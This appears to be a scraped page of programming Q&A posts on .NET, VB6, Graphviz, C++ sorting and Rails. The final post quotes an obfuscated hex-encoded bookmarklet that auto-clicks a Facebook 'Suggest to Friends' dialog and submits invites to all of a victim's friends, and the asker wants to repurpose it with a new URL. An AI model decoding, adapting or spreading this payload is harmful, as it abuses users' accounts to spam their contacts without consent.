singleton, so it's already not unit test friendly. On top of that you have a very tight-coupling between CurrentUser and the HttpContext object. By extension, this also means that I have a reference to System.Web in my Data layer (shudder). I want to pay down some technical debt this sprint by getting rid of this singleton for the reasons mentioned above. I have a few thoughts on what an better implementation might be, but if anyone has any guidance or lessons learned they could share, I would be much obliged.

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  • remove data layer and put into it's own domain

    - by user334768
    I have a SL4 application that uses EF4 & RIA Services. DB is SQL 2008. All is working well. Now I want to put the Database and web services on one domain (A.com) with the web service exposing the same methods available in my working project. (one listed at top of message) Then put a Silverlight application (same one as above) on domain(B.com) and call the web services on A.com. I thought I had a fair understanding of RIA Services. Enough to get the above application working. Now when I say "working" I do mean on my local dev machine. I have yet to deployed as SL4 & .NET 4 application to my hosting site. But I don't think I understand it well enough. I normally create a new business app, add EF then create the RIA DomainService. Add any [Includes] I need, modify my linq queries and run application. And it works. Now I need to break off my data layer and put it on another hosting site (A.com) And put my UI and business logic on another hosting site (B.com) I think I need to do the following : On the Database & web service site: domain(A.com) create application, create EF4, create RIA Services and deploy. At this time, are the methods exposed available as a "WEB SERVICE" to other applications calling by http:// a.com/serviceName.svc address? I think I need to do the following : On the application site : domain(B.com) create a business application (later will need authentication and navigation). How can I create an EF when I don't have access to the database? (I know I do have access but I want know what happens here when I do not have access to the database, but only data provided by a web service) If I can not create an EF how do I create my RIA Service? I hope any one who takes time to help me understands what I'm asking. Sorry so long.

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  • Strategies for "Always-Connected" Windows Client Data Architecture

    - by magz2010
    Hi. Let me start by saying: this is my 1st post here, this is a bit lenghty, and I havent done Windows Forms development in years....with that in mind please excuse me if this isn't directly a programming question and please bear with me as I really need the help!! I have been asked to develop a Windows Forms app for our company that talks to a central (local area network) Linux Server hosting a PostgreSQL database. The app is to allow users to authenticate themselves into the system and thereafter conduct the usual transactions with the PG database. Ordinarily, I would propose writing a webforms app against Mono, but the clients need to utilise local resources such as USB peripheral devices, so that is out of the question. While it might not seem clear, my questions are italised below: Dilemma #1: The application is meant to be always connected. How should I structure my DAL/BLL - Should this reside on the server or with the client? Dilemma #2: I have been reading up on Client Application Services (CAS), and it seems like a great fit for authentication, as everything is exposed via URIs. I know that a .NET Data Provider exists for PostgreSQL, but not too sure if CAS will all work on a Linux (Debian) server? Believe me, I would get my hands dirty and try myself, but I need to come up with a logical design first before resources are allocated to me for "trial purposes"! Dilemma #3: If the DAL/BLL is to reside on the server, is there any way I can create data services, and expose only these services to authenticated clients. There is a (security) requirement whereby a connection string with username and password to the database cannot be present on any client machines...even if security on the database side is quite rigid. I'm guessing that the only way for this to work would be to create the various CRUD data service methods that are exposed by an ASP.NET app, and have the WindowsForms make a request for data or persist data to the ASP.NET app (thru a URI) and have that return a resultset or value. Would I be correct in assuming this? Should I be looking into WCF Data Services? and will WCF work with a non-SQL Server database? Thank you for taking the time out to read this, but know that I am desperately seeking any advice on this! THANKS A MILLION!!!!

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  • Break in Class Module vs. Break on Unhandled Errors (VB6 Error Trapping, Options Setting in IDE)

    - by Erx_VB.NExT.Coder
    Basically, I'm trying to understand the difference between the "Break in Class Module" and "Break on Unhandled Errors" that appear in the Visual Basic 6.0 IDE under the following path: Tools --> Options --> General --> Error Trapping The three options appear to be: Break on All Errors Break in Class Module Break on Unhandled Errors Now, apparently, according to MSDN, the second option (Break in Class Module) really just means "Break on Unhandled Errors in Class Modules". Also, this option appears to be set by default (ie: I think its set to this out of the box). What I am trying to figure out is, if I have the second option selected, do I get the third option (Break on Unhandled Errors) for free? In that, does it come included by default for all scenarios outside of the Class Module spectrum? To advise, I don't have any Class Modules in my currently active project. I have .bas modules though. Also, is it possible that by Class Mdules they may be referring to normal .bas Modules as well? (this is my second sub-question). Basically, I just want the setting to ensure there won't be any surprises once the exe is released. I want as many errors to display as possible while I am developing, and non to be displayed when in release mode. Normally, I have two types of On Error Resume Next on my forms where there isn't explicit error handling, they are as follows: On Error Resume Next ' REQUIRED On Error Resume Next ' NOT REQUIRED The required ones are things like, checking to see if an array has any length, if a call to its UBound errors out, that means it has no length, if it returns a value 0 or more, then it does have length (and therefore, exists). These types of Error Statements need to remain active even while I am developing. However, the NOT REQUIRED ones shouldn't remain active while I am developing, so I have them all commented out to ensure that I catch all the errors that exist. Once I am ready to release the exe, I do a CTRL+H to find all occurrences of: 'On Error Resume Next ' NOT REQUIRED (You may have noticed they are commented out)... And replace them with: On Error Resume Next ' NOT REQUIRED ... The uncommented version, so that in release mode, if there are any leftover errors, they do not show to users. For more on the description by MSDN on the three options (which I've read twice and still don't find adequate) you can visit the following link: http://webcache.googleusercontent.com/search?q=cache:yUQZZK2n2IYJ:support.microsoft.com/kb/129876&hl=en&lr=lang_en%7Clang_tr&gl=au&tbs=lr:lang_1en%7Clang_1tr&prmd=imvns&strip=1 I’m also interested in hearing your thoughts if you feel like volunteering them (and this would be my tentative/totally optional third sub-question, that being, your thoughts on fall-back error handling techniques). Just to summarize, the first two questions were, do we get option 3 included in all non-class scenarios if we choose option 2? And, is it possible that when they use the term "Class Module" they may be referring to .bas Modules as well? (Since a .bad Module is really just a class module that is pre-instantiated in the background during start-up). Thank you.

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  • how use graphvis in C# application?

    - by ghasedak -
    i have a dot format file and i download graphvis for windows now how can i use graphvis to show a graph in my c# application? using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using VDS.RDF; using VDS.RDF.Parsing; using VDS.RDF.Query; using System.IO; using System.Windows; using System.Runtime.InteropServices; using VDS.RDF.Writing; using System.Diagnostics; namespace WindowsFormsApplication2 { public partial class first : Form { Graph g = new Graph(); string s1 = null; /**************************************DATA********************************************/ public first() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { Stream myStream = null; var parser = new Notation3Parser(); var graph = new Graph(); OpenFileDialog openFileDialog1 = new OpenFileDialog(); openFileDialog1.Filter = "RDF files (*.n3)|*.n3"; openFileDialog1.FilterIndex = 1; openFileDialog1.RestoreDirectory = true; openFileDialog1.Multiselect = false; if (openFileDialog1.ShowDialog() == DialogResult.OK) { try { if ((myStream = openFileDialog1.OpenFile()) != null) { using (myStream) { string s = openFileDialog1.FileName.ToString(); string w= Directory.GetCurrentDirectory().ToString(); string Fname = openFileDialog1.SafeFileName.ToString(); File.Copy(s,Path.Combine(w,Fname),true); // Insert code to read the stream here. Win32.AllocConsole(); s1 = Path.Combine(w, Fname); insertNodeButton.Visible = true; delBut.Visible = true; simi.Visible = true; showNodes showNodes1 = new showNodes(s1); g = showNodes1.returngraph(); Console.Read(); Win32.FreeConsole(); // g.SaveToFile("firstfile.n3"); this.Show(); } } } catch (Exception ex) { MessageBox.Show("Error: Could not read file from disk. Original error: " + ex.Message); } } GraphVizWriter hi = new GraphVizWriter(); hi.Save(g, "c:\\ahmad.dot"); } private void button2_Click(object sender, EventArgs e) { string strCmdLine = Application.StartupPath + "\\Tools\\rdfEditor.exe"; //string strCmdLine = "DIR"; MessageBox.Show(strCmdLine); System.Diagnostics.Process process1; process1 = new System.Diagnostics.Process(); //Do not receive an event when the process exits. process1.EnableRaisingEvents = false; //The "/C" Tells Windows to Run The Command then Terminate System.Diagnostics.Process.Start(strCmdLine); process1.Close(); } private void Form1_Load(object sender, EventArgs e) { } private void insertNodeButton_Click(object sender, EventArgs e) { //Graph parentvalue = this.g; //String parentvalueadress = this.s1; addTriple a1 = new addTriple(); a1.G = g; a1.BringToFront(); a1.ShowDialog(); g = a1.G; g.SaveToFile("c:\\Hi.n3"); } this is my code i want to visul saly dot file format to show a graph with graphvis

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  • C++ string sort like a human being?

    - by Walter Nissen
    I would like to sort alphanumeric strings the way a human being would sort them. I.e., "A2" comes before "A10", and "a" certainly comes before "Z"! Is there any way to do with without writing a mini-parser? Ideally it would also put "A1B1" before "A1B10". I see the question "Natural (human alpha-numeric) sort in Microsoft SQL 2005" with a possible answer, but it uses various library functions, as does "Sorting Strings for Humans with IComparer". Below is a test case that currently fails: #include <set> #include <iterator> #include <iostream> #include <vector> #include <cassert> template <typename T> struct LexicographicSort { inline bool operator() (const T& lhs, const T& rhs) const{ std::ostringstream s1,s2; s1 << toLower(lhs); s2 << toLower(rhs); bool less = s1.str() < s2.str(); std::cout<<s1.str()<<" "<<s2.str()<<" "<<less<<"\n"; return less; } inline std::string toLower(const std::string& str) const { std::string newString(""); for (std::string::const_iterator charIt = str.begin(); charIt!=str.end();++charIt) { newString.push_back(std::tolower(*charIt)); } return newString; } }; int main(void) { const std::string reference[5] = {"ab","B","c1","c2","c10"}; std::vector<std::string> referenceStrings(&(reference[0]), &(reference[5])); //Insert in reverse order so we know they get sorted std::set<std::string,LexicographicSort<std::string> > strings(referenceStrings.rbegin(), referenceStrings.rend()); std::cout<<"Items:\n"; std::copy(strings.begin(), strings.end(), std::ostream_iterator<std::string>(std::cout, "\n")); std::vector<std::string> sortedStrings(strings.begin(), strings.end()); assert(sortedStrings == referenceStrings); }

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  • What to Expect in Rails 4

    - by mikhailov
    Rails 4 is nearly there, we should be ready before it released. Most developers are trying hard to keep their application on the edge. Must see resources: 1) @sikachu talk: What to Expect in Rails 4.0 - YouTube 2) Rails Guides release notes: http://edgeguides.rubyonrails.org/4_0_release_notes.html There is a mix of all major changes down here: ActionMailer changes excerpt: Asynchronously send messages via the Rails Raise an ActionView::MissingTemplate exception when no implicit template could be found ActionPack changes excerpt Added controller-level etag additions that will be part of the action etag computation Add automatic template digests to all CacheHelper#cache calls (originally spiked in the cache_digests plugin) Add Routing Concerns to declare common routes that can be reused inside others resources and routes Added ActionController::Live. Mix it in to your controller and you can stream data to the client live truncate now always returns an escaped HTML-safe string. The option :escape can be used as false to not escape the result Added ActionDispatch::SSL middleware that when included force all the requests to be under HTTPS protocol ActiveModel changes excerpt AM::Validation#validates ability to pass custom exception to :strict option Changed `AM::Serializers::JSON.include_root_in_json' default value to false. Now, AM Serializers and AR objects have the same default behaviour Added ActiveModel::Model, a mixin to make Ruby objects work with AP out of box Trim down Active Model API by removing valid? and errors.full_messages ActiveRecord changes excerpt Use native mysqldump command instead of structure_dump method when dumping the database structure to a sql file. Attribute predicate methods, such as article.title?, will now raise ActiveModel::MissingAttributeError if the attribute being queried for truthiness was not read from the database, instead of just returning false ActiveRecord::SessionStore has been extracted from Active Record as activerecord-session_store gem. Please read the README.md file on the gem for the usage Fix reset_counters when there are multiple belongs_to association with the same foreign key and one of them have a counter cache Raise ArgumentError if list of attributes to change is empty in update_all Add Relation#load. This method explicitly loads the records and then returns self Deprecated most of the 'dynamic finder' methods. All dynamic methods except for find_by_... and find_by_...! are deprecated Added ability to ActiveRecord::Relation#from to accept other ActiveRecord::Relation objects Remove IdentityMap ActiveSupport changes excerpt ERB::Util.html_escape now escapes single quotes ActiveSupport::Callbacks: deprecate monkey patch of object callbacks Replace deprecated memcache-client gem with dalli in ActiveSupport::Cache::MemCacheStore Object#try will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new Object#try! Object#try can't call private methods Add ActiveSupport::Deprecations.behavior = :silence to completely ignore Rails runtime deprecations What are the most important changes for you?

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  • Rails learn's confusion

    - by Steve
    This is a beginner's rails learning confusion. When I learn rails, from time to time, I feel frustrated on rails' principle "Convention over Configuration". Rails uses heavily on conventions. A lot of them are just naming conventions. If I forget a convention, I will either use the wrong naming and get unexpected result or get things magically done but don't understand how. Sometimes, I think of configuration. At least configuration lists everything clearly and nothing is in fog. In rails, there seems a hidden, dark contract between you and the machine. If you follow the contract, you communicate well. But a beginner usually forgets items listed on the contract and this usually leads to confusion. That's why when I first pick up rails, I feel like it is somehow difficult to learn. Besides, there are many other things that could be new to a learner, such as using git, using plugins from community, using RESTful routing style, using RSpec. All these are new and come together in learning ruby and rails. This definitely adds up difficulties for a beginner. In contrast, if you learn php, it wouldn't be that bad. You can forget many things and focus on learning php itself. You don't need to learn database handling if you know SQL already(in rails, you need to learn a whole new concept migration), you don't have to learn a new decent unit test(in rails, usually they teach RSpec along the way because rails is agile and you should learn test-driven development in the early learning stage), you don't have to learn a new version control(in rails, you will be taught about git anyway), you don't have to use complicated plugins(in rails, they usually use third-party plugins in textbook examples! what the hell? why not teach how to do a simplified similar thing in rails?), you don't have to worry RESTful style. All in all, when I learn php, I learn it quick and soon I start to write things myself. Learning php is similar to learning C/java. It tastes like those traditional languages. When I learn rails, it is more difficult. And I need to learn ruby as well (I believe many of you learn ruby just because of rails). Does anyone have the similar feeling as I have? How do you overcome it and start to master rails? Hints will be welcomed. Thank you.

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  • Javascript in address bar, how do I decipher?

    - by DoMx
    Hello stackoverflow! I have a javascript code that appears to be encrypted: javascript:var _0xe788=[&quot;\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C&quot;,&quot;\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x31\x36\x38\x37\x38\x34\x39\x34\x39\x39\x32\x36\x35\x37\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E&quot;,&quot;\x73\x75\x67\x67\x65\x73\x74&quot;,&quot;\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73&quot;,&quot;\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74&quot;,&quot;\x63\x6C\x69\x63\x6B&quot;,&quot;\x69\x6E\x69\x74\x45\x76\x65\x6E\x74&quot;,&quot;\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74&quot;,&quot;\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C&quot;,&quot;\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D&quot;,&quot;\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70&quot;,&quot;\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67&quot;,&quot;\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x38\x32\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x36\x30\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E&quot;];var variables=[_0xe788[0],_0xe788[1],_0xe788[2],_0xe788[3],_0xe788[4],_0xe788[5],_0xe788[6],_0xe788[7],_0xe788[8],_0xe788[9],_0xe788[10],_0xe788[11],_0xe788[12],_0xe788[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0xe788[14]); I have seen similar instances and I have heard it may be Hex. I have been doing some google research and have found some online deciphers for Hex yet they all seem to struggle decrypting the code. I basically need to decipher this code, change some variables and repack it exactly how I found it but replacing a URL. How can I go about this? Are there any free online tools available? Many thanks.

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